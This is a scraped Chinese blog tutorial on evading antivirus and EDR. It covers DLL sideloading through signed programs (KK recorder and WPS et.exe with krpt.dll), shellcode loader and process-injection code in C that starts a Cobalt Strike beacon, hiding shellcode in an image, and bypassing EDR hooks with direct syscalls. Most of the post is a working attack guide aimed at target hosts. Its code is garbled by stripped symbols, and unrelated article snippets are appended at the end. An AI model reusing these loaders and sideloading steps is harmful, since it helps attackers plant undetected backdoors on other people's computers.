网站设计与推广同城招聘网站自助建站

web/2025/10/7 13:41:08/文章来源:
网站设计与推广,同城招聘网站自助建站,注册公司后每年都要交什么费用,做网站网站代理怎么找客源前言 今天讲点比较高端的东西—DLL反射注入#xff0c;首先什么是DLL文件#xff0c;简答来说就是程序为了实现某个功能而调用的文件。举个例子#xff0c;某个代码想要实现某个功能是不是会调用一些封装好的函数#xff0c;exe同样如此#xff0c;想要实现某个功能就会调…前言 今天讲点比较高端的东西—DLL反射注入首先什么是DLL文件简答来说就是程序为了实现某个功能而调用的文件。举个例子某个代码想要实现某个功能是不是会调用一些封装好的函数exe同样如此想要实现某个功能就会调用封装好的函数。那么我们把上线代码编译成DLL再另外写个代码去调用它不就实现了上线吗。 调用加载 首先我们在VS创建一个DLL项目直接搜一下即可。 然后把里面原有的代码给删除掉换成我们C的shellcode以及加载器其它的语言也行。 接着生成DLL文件。 这个DLL文件呢是不可以直接运行的我们可以用python写个代码去调用DLL文件。 from ctypes import *#利用python载入dll文件 lib CDLL(rF:\project\Dll1\Debug\Dll1.dll) #调用dll文件内置方法函数 lib.main() 运行py文件可以看到是有建立连接的但是不知道为啥没有返回meterpreter。 我又试了试把shellcode换成CS的重新生成一个DLL后门但是运行py文件CS这边也没有上线好奇怪有懂的师傅还请指教一下。 我们可以把这个py脚本编译成exe然后和这个生成的DLL文件一起放到靶机上。 pyinstaller --onefile --distpath . dll.py 查杀的话是只会查杀到我们的DLL后门那个调用DLL的exe是不可能被查杀到的。 用上我们之前的讲过的混淆或者分离对原生态的DLL进行一下处理即可。 白加黑 导入加载 这个就有点高端了所谓的白加黑就是利用白程序去干黑的行为例如我们微信这个exe为了实现某个功能就去调用DLL那我们劫持这个DLL把它换成我们的DLL后门这样一来别人运行微信不就会调用我们这个DLL后门吗然后就实现了上线。 这里我们用这个KK录像来搞我们可以看到它里面是有一些数字签名的说明这个玩意儿是安全的不会被杀软查杀滴。 我们把这个东西kk.exe运行起来用火绒看一下进程主要是看他调用了那些DLL文件。 我们选用图中的DLL因为比较小才几百KB。 我们用Stud_PE这个工具打开libfontconfig-1.dll可以在函数这个看到这个DLL又调用了其它的DLL文件。 右键选择Add New Import添加新的DLL。 当你满怀激动地导入我们刚刚生成的DLL文件没想到提示一个没有PE结构。 此时我们得换个代码去生成上线的DLL。 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include pch.h #includewindows.h #includeiostream HANDLE My_hThread NULL; unsigned char shellcode[] 32位shellcode DWORD WINAPI ceshi(LPVOID pParameter) {__asm{mov eax, offset shellcodejmp eax}return 0; } BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved ) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码My_hThread ::CreateThread(NULL, 0, ceshi, 0, 0, 0);//新建线程case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; } externC _declspec(dllexport) void test() {int a;a 0; } 此时便可成功导入DLL后门也就是说当kk.exe运行的时候就会调用我们的libfontconfig-1.dll然后libfontconfig-1.dll再去调用我们的DLL后门。 把我们改造好的libfontconfig-1.dll覆盖掉原本的libfontconfig-1.dll记得把生成的DLL后门也一起复制过去此时我们再运行KK.exe即可实现上线从这个进程可以看出来是KK.exe运行上线的。 不过我一运行这个KK.exe火绒就会告警说明还是不行还是得对shellcode进行分离说着混淆一下可能才行有时间我再搞一下。 导出编译 上面这个KK.exe运行起来依赖的DLL太多了我们不可能全部都放到目标主机上面滴。我们找到WPS里面的这个et.exe因为大多数的Windows主机都会有WPS这个软件。 运行et.exe用火绒分析进程发现调用了krpt这个dll而且这个dll才91KB。 如果说你还像上面那样子把DLL后门导入到krpt.dll里面然后再去运行et.exe的话你会发现是上不了线的。因为这个程序会有一个防劫持的检测就是你的文件如果被检测到二次篡改那么这个程序在运行的时候就会把这个文件还原所以不是所有程序都可以进行白加黑的。 那现在我们可以用第二种方法就是我把这个krpt.dll给反编译出来然后根据它的核心代码去 自己写一个新的krpt.dll。我们用这个DependenciesGui.exe工具去反编译dll这是专门反编译dll滴然后右键保存。 现在比较复杂的工作就来了就是要把这三个文件编写成一个dll并且加入我们的shellcode就是利用源码进行编译且加入上线功能。 我们新建一个DLL项目然后把那三个源码文件复制到项目目录下面去。 接着再拖过来就会给你自动加载好。 打开krpt_jump.asm文件进行修改直接把所有的jmp语句给删除掉为什么呢你可以理解为这事无用的。 再根据代码开头的这个说明去改改完点击应用即可。 要注意的是顶头这里选择所有配置和所有平台。 接着一步一步来先顶上选择所有配置和所有选择右键项目名称——右键属性——c/c——代码生成——运行库——多线程(/MT)。 预编译头——不使用预编译头。 链接器——调试——生成调试信息——否。 在krpt.c这个文件添加一行代码。 接着随便找个上线shellcode的代码。 #include framework.h #include krpt.h #include windows.hBOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved ) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{unsigned char hexData[] 32位shellcodechar* v7A (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);memcpy((void*)v7A, hexData, _countof(hexData));struct _PROCESS_INFORMATION ProcessInformation;struct _STARTUPINFOA StartupInfo;void* v24;CONTEXT Context;DWORD DwWrite 0;memset(StartupInfo, 0, sizeof(StartupInfo));StartupInfo.cb 68;BOOL result CreateProcessA(0, (LPSTR)rundll32.exe, 0, 0, 0, 0x44u, 0, 0, StartupInfo, ProcessInformation);if (result){Context.ContextFlags 65539;GetThreadContext(ProcessInformation.hThread, Context);v24 VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), DwWrite);Context.Eip (DWORD)v24;SetThreadContext(ProcessInformation.hThread, Context);ResumeThread(ProcessInformation.hThread);CloseHandle(ProcessInformation.hThread);result CloseHandle(ProcessInformation.hProcess);}TerminateProcess(GetCurrentProcess(), 0);};case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; } 编译成DLL然后重命名位krpt.dll替换原来的那个运行et.exe即可上线CS这里有个好处就是只需把et.exe和krpt.dll这两个东西上传到目标主机即可。 但是它还是被查杀出来那咋办用上我们之前讲的分离或者混淆即可因为我们的shellcode是直接暴露出来的。 但是奇怪的是可以正常执行命令只不过下面那里啥也看不见滴因为执行sleep 0是可以的就是没有命令显示也没有结果回显。 好吧过了一会又有了。 图片分离 上面我们说到DLL之所以被杀了的原因是由于我们没有对shellcode进行处理我们这里可以借助DKMC-master这个项目把shellcode藏在图片中这个项目要用python2去运行。 E:\Python27\python.exe dkmc.py 可以看到有五个选项自己去翻译一下就可以了我们选择第一个输入gen生成一个恶意的image。 可以看到有四个操作分别是show、set、run、exit。 我们直接set个32位的shellcode。 最后直接run即可生成一个带有shellcode的图片。 然后我们修改一下上面的代码无非就是加一段从图片中提取shellcode的代码其他的不变。还需注意一下这里是打开wlw.bmp所以我们生成的图片也需要改一下名字。 此时编译成DLL会报个错意思就是fopen不安全推荐你用fopen_s这个时候当然是懒得换 所以直接考虑屏蔽掉安全报错。所以有很多时候报错并不是你代码的问题而是环境配置的问题。 项目属性——C——预处理器——预处理器定义在里面加入一段代码_CRT_SECURE_NO_WARNINGS。 此时再编译成DLL就不会有任何的报错。 把生成的DLL覆盖掉原本的krpt.dll文件再把图片放到和他们的同一目录运行et.exe即可上线。 此时我们再去查杀这个krpt.dll是完全没问题的。 火绒也没有查杀出来。 没想到WD居然能查杀到不过也正常DLL本来就是微软的东西自家的东西自家查杀肯定会更好。 Syscall 这个玩意就是比较高端的东西了Syscall差不多意思就是系统调用这个玩意涉及的东西都比较底层。所以网上没啥人讲也不会讲的很细当然我也不会哈哈哈哈。 EDR 首先我们得先知道有种东西叫EDR——终端安全中心这是什么玩意呢就是杀软的pro max版。像火绒、360这种杀软它只会检测你的文件有没有问题。但是这个EDR不仅会检测你的文件有没有毒还会检测你的文件是哪里来的、干了什么事情运行起来调用了哪些系统函数或者API啥的。 HOOK HOOK是一种技术直译过来就是钩子的意思是一种编程机制。 下面是维基百科的解释 钩子编程hooking也称作“挂钩”是计算机程序设计术语指通过拦截软件模块间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。处理被拦截的函数调用、事件、消息的代码被称为钩子hook。 就我个人理解就是当程序执行到某一个函数或者地方我们给他挂上一串代码让它跳过原本的代码或者执行我们挂上的代码。 HOOK原理创建一个代理对象然后把原始对象替换为我们的代理对象这样就可以在这个代理对象为所欲为修改参数或替换返回值。 顺便说一下handle句柄是对计算机资源文件设备网络窗口等等的抽象表示。程序员可以通过handle来操作系统中的各类资源。而hook指通过拦截系统或者应用中的事件信号和调用来更改系统或者应用的默认行为。 Ring3 HOOK 这我网上找的一个图Ring是Intel x86架构中定义的四个特权级别从Ring0最高特权级别到Ring3最低特权级别。 Ring0被称为内核模式或者最高权限级别通常用于操作系统内核和设备驱动程序在此级别运行的代码可以直接访问硬件和操作系统内核资源包括内存、CPU、I/O设备等。 Ring3被称为用户态或用户模式通常用于运行普通的应用程序。用户空间的应用程序在Ring3级别下运行无法直接访问系统资源和硬件必须通过系统调用System Call或中断Interrupt来请求操作系统提供的服务。 我们在VS反编译这段代码获取syscall的最简单形式。 #include Windows.h #include winternl.h #pragma comment(lib, ntdll)EXTERN_C NTSTATUS SysNtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength);int main() {FARPROC addr GetProcAddress(LoadLibraryA(ntdll), NtCreateFile);OBJECT_ATTRIBUTES oa;HANDLE fileHandle NULL;NTSTATUS status NULL;UNICODE_STRING fileName;IO_STATUS_BLOCK osb;RtlInitUnicodeString(fileName, (PCWSTR)L\\??\\c:\\temp\\test.txt);ZeroMemory(osb, sizeof(IO_STATUS_BLOCK));InitializeObjectAttributes(oa, fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);SysNtCreateFile(fileHandle,FILE_GENERIC_WRITE,oa,osb,0,FILE_ATTRIBUTE_NORMAL,FILE_SHARE_WRITE,FILE_OVERWRITE_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);return 0; } 通过一段这样的程序进入Ring0。 我们看一个最普通的shellcode加载器代码调用了VirtualAlloc这个Windows API函数去申请一块内存地址。 void main() {LPVOID Memory VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)(); } VirtualAlloc它包含在Windows系统文件Kernel32.dll中说白了还是去调用Kernel32.dll文件那么这个Kernel32.dll又去调用Ntdll.dll中的函数NT层动态链接库这些函数一般都是Ntxxx或者Zwxx,反正差不多都是这两个开头的函数这种函数叫做Native API然后用户想从Ring3到Ring0需要借助这样的函数。 当你运行程序且使用VirtualAlloc、ReadFile等一些敏感的Windows API的时候EDR就会对你进行监控、拦截或者修改这就是Ring3层面的Hook。所以有时候用一些冷门的API可以过掉EDR但实际上最终会调用到NTxxx。Zwxxx这种函数。有些函数没有被edr hook就可以绕过我说白了还是通过黑名单机制的一种绕过。 Syscall对抗 OK前置知识简单说了一下现在我们进入主要的内容如何利用Syscall去对抗EDR。我们看一普通的exe后门可以看到调用了很多的DLL文件像什么KERNEL32.DLL等等。 加入syscall的代码我不会写这是网上2年前比较牛的项目但是现在免杀效果也已经不太理想了。利用这个项目编译一个加入了syscall调用方式的exe运行起来会发现几乎没有调用什么DLL文件也就是说正常上线是调用DLL——DLL去调用底层函数而加入了syscall调用之后——直接调用底层函数。 GitHub - 7BitsTeam/EDR-Bypass-demo: Some demos to bypass EDRs or AVs by 78itsT3m 从这张图可以看出很多Ntxxx函数都有一个内存编号那么在程序里面直接载入这个内存编号实现函数的调用。 总结 对于白加黑呢免杀效果是比较强的关键是DLL后门的免杀分离或者混淆都可以实现。至于这个Syscall我是不会编写只能玩一下别人的项目而且这玩意挺难的我说实话更加偏向于二进制那边的了。 最后以上仅为个人的拙见如何有不对的地方欢迎各位师傅指正与补充有兴趣的师傅可以一起交流学习。 参考和引用文章侵权联系删 杀软对抗 ---Bypass Ring3 Hook的魅力_sw3ntcreatethreadex-CSDN博客 浅析什么是HOOK - 青山牧云人 - 博客园 红队队开发基础-基础免杀(二) - 先知社区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/88508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

商务网站建设总结网站建设的公司选择哪家好

作者 李祥 单位 湖北经济学院 给 52 张扑克牌面编号如下: 编号牌面编号牌面编号牌面编号牌面0♠A13♥A26♣A39♦A1♠214♥227♣240♦22♠315♥328♣341♦33♠416♥429♣442♦44♠517♥530♣543♦55♠618♥631♣644♦66♠719♥732♣745♦77♠820♥833♣846♦88♠9…

医疗网站模板免费下载北京专业网站维护公司

ToUpper()/ToLower() 作用:将字符串中字符转换为大写/小写字符,仅对字符有效,返回转换后的字符串。 使用:字符串变量名.ToUpper() / 字符串变量名.ToLower() 使用实例如下: using System; using System.Collection…

旅游网站建设规划方案江苏网站建设推广

Nginx怎么做负载均衡 Nginx 是一个高性能的开源反向代理服务器,可以用于实现负载均衡。负载均衡指的是将用户请求平均分配给多个服务器,以提高整体系统性能和可靠性。下面是一个详细介绍如何使用 Nginx 实现负载均衡的步骤: 步骤 1&#xf…

现在pc端网站开发用的什么技术河源东莞网站建设

Active Disk Image是一种磁盘映像软件,可以精确复制任何PC磁盘(HDD,SSD,USB,CD,DVD,Blu-ray等)并将其存储在文件夹中。磁盘映像可用于备份,PC升级或磁盘复制。万一计算机出现故障,可…

贵阳网站制作 建设南阳网站托管

HTML图形 1. HTML5 Canvas2.HTML5 内联 SVG3.HTML 5 Canvas vs. SVG 1. HTML5 Canvas HTML5 的 canvas 元素使用 JavaScript 在网页上绘制图像。画布是一个矩形区域,您可以控制其每一像素。canvas 拥有多种绘制路径、矩形、圆形、字符以及添加图像的方法。 1、创建…

南京做企业网站的公司wordpress不适合大型网站

静态链接和动态链接 静态链接方法:静态链接的时候,载入代码就会把程序会用到的动态代码或动态代码的地址确定下来 静态库的链接可以使用静态链接,动态链接库也可以使用这种方法链接导入库 动态链接方法:使用这种方式的程序并不在一…

湖南搜索引擎推广多少钱网站关键词优化哪家正规

1. 题目 在一个 m*n 的棋盘的每一格都放有一个礼物,每个礼物都有一定的价值(价值大于 0)。你可以从棋盘的左上角开始拿格子里的礼物,并每次向右或者向下移动一格、直到到达棋盘的右下角。给定一个棋盘及其上面的礼物的价值&#…

购物网站代码wordpress大胡子主题

试卷代号:1379 2021年春季学期期末统一考试 人文英语3 试题 2021年7月 注意事项 一、将你的学号、姓名及分校(工作站)名称填写在答题纸的规定栏内。考试结束后,把试卷和答题纸放在桌上。试卷和答题纸均不得带出考场。监考人收完考…

深圳企业网站定制wordpress uncode

近日,北京铭悦旅游客运有限公司又迎来一批苏州金龙海格纯电动客车。(以下简称北京铭悦旅游)总经理郭保生在车辆交付时说到,“为迎接强劲复苏的旅游市场,要求旅游客运向绿色客运转型,以及人民对品质生活、美…

网站建设是什么wordpress一键优化

浏览器缓存 好处: 减少冗余的数据传输,节省带宽。减轻服务器的请求压力,因为有缓存可以减少向服务器发送请求,资源从缓存中读取,加快客户端的访问速度。因为无需从服务器请求等待响应 缺点: 系统更新时…

有哪些企业网站平台怎么用服务器做局域网网站

前言 构建onnx方式通常有两种: 1、通过代码转换成onnx结构,比如pytorch —> onnx 2、通过onnx 自定义结点,图,生成onnx结构 本文主要是简单学习和使用两种不同onnx结构, 下面以 Less 结点进行分析 方式 方法一&a…

丽水城乡建设局网站中心城网站建设

Supervisord进程管家 Supervisord是一个守护进程的工具,当进程意外终止或服务器掉电起来后,希望进程能够自动运行,supervisord可以很好的为我们做这件事情。同时supervisord也自带监控界面,可以通过浏览器灵活的查看、操作。 以安…

网站大事记时间轴折叠宁波商城网站建设

作者主页:Java程序员老张 主要内容:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app等设计与开发。 收藏点赞不迷路 关注作者有好处 文末获取源码 技术选型 【后端】:Java 【框架】:…

建网站要买服务器吗wordpress停止更新

目录 1 基本数据情况2 统计每个用户每个月登录次数3 将日期按月显示在列上4 总结 1 基本数据情况 当需要对用户登录情况进行统计时,SQL是一个非常强大的工具。通过SQL,可以轻松地从数据库中提取和汇总数据,并以适合分析和报告的方式进行呈现…

上海网站建设企业排名域名注册查询网站

文章目录 一、霍夫变换-直线1.1霍夫变换-直线 原理详解 二、霍夫圆检测 一、霍夫变换-直线 Hough Line Transform用来做直线检测 前提条件 – 边缘检测已经完成 1、平面空间(x,y)到极坐标空间转换; 2、对极坐标进行变换,转化为…

网站建设合同管辖地张家港做企业网站

线路总览上海自驾西藏拉萨,川进青出,全程约8000公里,需用时18~25天,行程主要分为4段:1、进藏之前:上海—成都,2000公里,3~5天;2、川藏线进:成都—拉萨&#x…

2003系统建网站html5在网站建设中的

如图每次搜索出来的结果总是有好多编辑记录中的文件,给自己找文件及提交代码时带来很大困扰,每次都得删特别麻烦。 解决办法: 如上图在插件里找到 local history 点击 ”禁用“ 即可。以后再编辑代码就不会产生修改记录文件了。 如果直接搜索…

阿里网站seo英文网页

简介 SQL注入,通常称为SQLi,是对 Web 应用程序数据库服务器的攻击,导致执行恶意查询。当 Web 应用程序使用未经适当验证的用户输入与数据库通信时,攻击者有可能窃取、删除或更改私人和客户数据,还可以攻击 Web 应用程…

怎么做有趣的视频网站雏光 网络推广 网站建设

函数接口是Java 8最重要的概念之一,实际上为lambda表达式提供了动力,但是许多开发人员没有首先了解函数接口在Java 8中的作用就花了很多精力来理解它,并花时间学习lambda表达式和Stream API。除非您知道什么是功能接口以及lambda与它之间的关…

哪个网站系统做的好社群小程序搭建

0 Preface/Foreword 0.1 基本概念 Git版本管控工具功能强大,在使用过程中,在多人合作的项目开发过程中,经常会遇到提交代码时出现的warning提醒,尤其是换行符。 Linux/Unix/Mac OS操作系统的换行符使用LF符号(\n&am…